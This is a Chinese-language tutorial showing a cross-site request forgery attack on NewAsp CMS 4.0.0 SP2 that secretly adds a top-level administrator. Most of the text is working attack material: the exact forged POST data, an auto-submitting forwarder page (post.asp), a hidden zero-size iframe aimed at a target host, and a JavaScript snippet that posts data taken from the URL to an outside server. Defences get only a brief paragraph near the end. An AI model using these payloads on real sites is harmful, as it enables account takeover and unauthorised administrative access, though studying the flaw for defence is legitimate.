|
跨站请求伪造(cross-site request forgery)通常缩写为XSRF,直译为跨站请求伪造,即攻击者通过调用第三方网站的恶意脚本或者利用程序来伪造请求,当然并不需要向用户端伪装任何具有欺骗的内容,在用户不知情时攻击者直接利用用户的浏览器向攻击的应用程序提交一个已经预测好请求参数的操作数据包,利用的实质是劫持用户的会话状态,强行提交攻击者构造的具有“操作行为”的数据包。可以看出,最关键的是劫持用户的会话状态,所以说,导致XSRF漏洞的主要原因是会话状态的保持没有唯一时间特征的标识,即是说在使用HTTPCookie传送会话令牌的过程中,应该更谨慎的判断当前用户,而不是简单的通过操作数据包的Cookie值来鉴别,简单的说是每次数据交互时,对提交的数据包实行唯一性标识。 XSRF攻击流程大致如下:
从上图可以看出,要完成一次XSRF攻击,比较关键的三个问题: 1) 会话状态[A]的保持,即用户已经获取了易受攻击网站A的信任授权。 2) 用户在依然保持没有登出易受攻击网站A的情况下,访问了“第三方网站”。 3) 提交的“操作”数据包是可以预知的。
国内的许多大型WEB程序开发者好像对XSRF没有足够的重视,这些看似需要特定场景才能诱发的漏洞,在结合XSS后,想来威胁应该不在注入之下。本文以新云管理系统来实例演示添加管理员。 在网上下载的版本是”NewAsp CMS Version 4.0.0 SP2”。在新云管理系统添加管理员的构造表单如下,代码在“/wwwroot/admin/users/admin_master.asp”
<form action="?action=savenew" accept-charset="UNKNOWN" enctype="application/x-www-form-urlencoded" method="post">
<table class="tableborder" border="0" cellspacing="1" cellpadding="3" align="center">
<tbody>
<tr>
<th colspan="2">添加管理员</th>
</tr>
<tr>
<td class="tablerow1" width="25%" align="right"><strong>后台登陆名称:</strong></td>
<td class="tablerow1" width="75%"><input name="username2" size="30" type="text" /></td>
</tr>
<tr>
<td class="tablerow2" align="right"><strong>后台登陆密码:</strong></td>
<td class="tablerow2"><input name="password2" size="30" type="password" /></td>
</tr>
<tr>
<td class="tablerow1" align="right"><strong>管理员级别:</strong></td>
<td class="tablerow1"><input checked="checked" name="AdminGrade" type="radio" value="0" /> 普通管理员 <input name="AdminGrade" type="radio" value="999" /> 高级管理员(拥有最高权限) <input name="AdminGrade" type="radio" value="111" /> 只读管理员</td>
</tr>
<tr>
<td class="tablerow2" align="right"><strong>限制一个管理员登陆:</strong></td>
<td class="tablerow2"><input checked="checked" name="isAloneLogin" type="radio" value="1" /> 是 <input name="isAloneLogin" type="radio" value="0" /> 否</td>
</tr>
<tr>
<td class="tablerow1" align="right"><strong>是否激活管理员:</strong></td>
<td class="tablerow1"><input checked="checked" name="isLock" type="radio" value="0" /> 是 <input name="isLock" type="radio" value="1" /> 否</td>
</tr>
<tr>
<td class="tablerow2" align="right"><strong> </strong></td>
<td class="tablerow2"><input class="button" name="reset_button" type="reset" value="清 除" /> <input class="button" name="submit_button" type="submit" value="提 交" /></td>
</tr>
</tbody>
</table>
</form>
|
从代码可以看出构造的提交表单没有再次验证,而是让cookie来简单判定用户操作行为,即使cookie的滥用,导致xsrf漏洞的出现。 以下代码是新云管理系统添加管理员的代码:
Sub savenew()
Dim Rs,SQL
Dim adminuserid
If Request.Form("username2") = "" Then
ErrMsg = "请输入后台登陆用户名!"
Founderr = True
Exit Sub
Else
adminuserid = Request.Form("username2")
End If
If Request.Form("password2") = "" Then
ErrMsg = "请输入后台登陆密码!"
Founderr = True
Exit Sub
End If
Set Rs=NewAsp.Execute("SELECT username FROM NC_Admin WHERE username='" & Replace(Request.Form("username2"), "'", "") & "'")
If Not (Rs.EOF And Rs.bof) Then
ErrMsg = "您输入的用户名已经在管理用户中存在!"
Founderr = True
Exit Sub
End If
Set Rs=NewAsp.CreateAXObject("ADODB.Recordset")
SQL="SELECT * FROM NC_Admin WHERE (id is null)"
Rs.open SQL,conn,1,3
Rs.addnew
Rs("username") = Replace(Request.Form("username2"), "'", "")
If NewAsp.ChkNumeric(Request.Form("AdminGrade")) = 999 Then
Rs("status") = "高级管理员"
ElseIf NewAsp.ChkNumeric(Request.Form("AdminGrade")) = 111 Then
Rs("status") = "只读管理员"
Else
Rs("status") = "普通管理员"
End If
Rs("password") = md5(Request.Form("password2"),16)
Rs("isLock") = NewAsp.ChkNumeric(Request.Form("isLock"))
Rs("AdminGrade") = NewAsp.ChkNumeric(Request.Form("AdminGrade"))
Rs("Adminflag") = ",,,,,,,,,,,,,,,"
Rs("LoginTime") = Now()
Rs("Loginip") = NewAsp.UserTrueIP
Rs("RandomCode") = NewAsp.GetRandomCode(16)
Rs("isAloneLogin") = NewAsp.ChkNumeric(Request.Form("isAloneLogin"))
Rs.update
Rs.close:set Rs=Nothing
Succeed ("用户ID:" & adminuserid & " 添加成功,请到管理员管理给予相应的权限,如需修改请返回管理员管理!")
End Sub
|
对添加管理员操作进行抓包分析,如图:
只是向/admin/users/admin_master.asp?action=savenew 页面POST一行数据“ username2=fan&password2=fan&AdminGrade=999&isAloneLogin=1&isLock=0&submit_button=%CC%E1+%BD%BB“,这就是添加网站管理员的一个数据操作。我们来模拟提交一下,在Firefox浏览器安装插件Hackbar,如图:
点选”Enble Post data”空框按钮,填写Post的地址和数据,来添加一个用户名和密码均为nuanyue,如图:
由于xsrf攻击需要劫持网站的授权,所以之前是需要登录后台的,点击“Execute”进行提交,如图:
提示添加用户nuanyue成功,刚模拟了数据提交的过程,只要劫持了cookie就能直接添加管理员了。通过模拟提交数据,可以肯定新云网站管理系统存在XSRF漏洞。 在分析了数据提交的过程,需要构造一个在后台自动提交的文件,lake2在其csrf攻击与防御的文章中,提供了一个Asp提交的代码:
Post.asp
<!--r /> response.write("<title>XSS post forwarder</title>")
lake2 = antiXSS(request("lake2"))
if lake2<>"" then
response.write("
<form method='post' action='" & lake2 & "'>")
for each b in request.QueryString
if b <> "lake2" then response.write("<input type='hidden' value='" & antiXSS(request(b)) & "' name='" & antiXSS(b) & "' />")
next
response.write("</form>
")
response.write("<mce :script type="text/javascript">< ! document.forms[0].submit(); // ></mce>")
else
response.Write("enjoy hacking :p")
end if
' -_-!!
function antiXSS(str)
str = replace(str, "'", "")
antiXSS = str
end function
-->
|
在调用时用到iframe框架调用代码2.html如下:
<iframe width=0 height=0 src="http://192.168.1.107/post.asp?lake2=http://192.168.1.109/admin/users/admin_master.asp?action=savenew&username2=fan&password2=fan&AdminGrade=999&isAloneLogin=1&isLock=0&submit_button=%CC%E1+%BD%BB"></iframe>
|
在构造好用于数据提交的文件后,剩下就是诱使网站管理员来访问网页了。当然如果有xss漏洞,则可以用Javascript直接调用。如图:
当网站管理员点击时,我们对此抓包分析看跟在网站管理后台提交的数据包是否一样:
与模拟提交的过程一样,成功添加网站管理员:
看来XSRF攻击还是挺简单的。只是看你如何利用了。从攻击过程来看,攻击者劫持登录到网站的受信任者的cookie而构造了一个后台提交Post数据的网页,当受信任者访问了此构造的网页就会在后台隐藏提交添加管理员的数据包,从而利用了受信cookie值进行操作。在防范此类攻击时,一般的解决方案是页面使用验证码,这是最直接和简单的,在验证码算法没有被攻破前,是最有效的。当然还有一些不太完善的方法,比如检查HTTP请求来路,检查COOKIE凭据,隐藏表单等。在检测访问来路的方案中,获得HTTP请求中的来路信息,攻击者是可以伪造HTTP Referer进行欺骗,在检查COOKIE凭据时,攻击者可以通过XSS轻易获取其值,而隐藏表单则只需要分析提交的数据,即可模拟提交,当然上述方法如果结合别的技术也是可行的 分享以前写的Post数据JS版:
<script language="javascript">
var bXmlHttpSupport = (typeof XMLHttpRequest == "object" || window.ActiveXObject);
function httpPost(sURL, sParams) {
var oURL = new java.net.URL(sURL);
var oConnection = oURL.openConnection();
oConnection.setDoInput(true);
oConnection.setDoOutput(true);
oConnection.setUseCaches(false);
oConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
var oOutput = new java.io.DataOutputStream(oConnection.getOutputStream());
oOutput.writeBytes(sParams);
oOutput.flush();
oOutput.close();
var sLine = "", sResponseText = "";
var oInput = new java.io.DataInputStream(oConnection.getInputStream());
sLine = oInput.readLine();
while (sLine != null){
sResponseText += sLine + "\n";
sLine = oInput.readLine();
}
oInput.close();
return sResponseText;
}
function addPostParam(sParams, sParamName, sParamValue) {
if (sParams.length > 0) {
sParams += "&";
}
return sParams + encodeURIComponent(sParamName) + "="
+ encodeURIComponent(sParamValue);
}
function addURLParam(sURL, sParamName, sParamValue) {
sURL += (sURL.indexOf("?") == -1 ? "?" : "&");
sURL += encodeURIComponent(sParamName) + "=" + encodeURIComponent(sParamValue);
return sURL;
}
if (typeof XMLHttpRequest == "undefined" && window.ActiveXObject) {
function XMLHttpRequest() {
var arrSignatures = ["MSXML2.XMLHTTP.5.0", "MSXML2.XMLHTTP.4.0",
"MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP",
"Microsoft.XMLHTTP"];
for (var i=0; i < arrSignatures.length; i++) {
try {
var oRequest = new ActiveXObject(arrSignatures[i]);
return oRequest;
} catch (oError) {
//ignore
}
}
throw new Error("MSXML is not installed on your system.");
}
}
var Http = new Object;
Http.post = function (sURL, sParams, fnCallback) {
if (bXmlHttpSupport) {
var oRequest = new XMLHttpRequest();
oRequest.open("post", sURL, true);
oRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
oRequest.onreadystatechange = function () {
if (oRequest.readyState == 4) {
fnCallback(oRequest.responseText);
}
}
oRequest.send(sParams);
} else if (navigator.javaEnabled() && typeof java != "undefined"
&& typeof java.net != "undefined") {
setTimeout(function () {
fnCallback(httpPost(sURL, sParams));
}, 10);
} else {
alert("Your browser doesn't support HTTP requests.");
}
};
function getServerInfo(data) {
var sURL = "http://www.nuanyuecom/te.php";
var sParams = "";
sParams = addPostParam(sParams, "name", data);
sParams = addPostParam(sParams, "book", "Professional JavaScript");
Http.post(sURL, sParams, function (sData) {
alert("Data from server: " + sData);
});
}
var h = location.hash;
var a = h.split("#");
var b = unescape(a[ a.length-1]);
getServerInfo(b);
|
|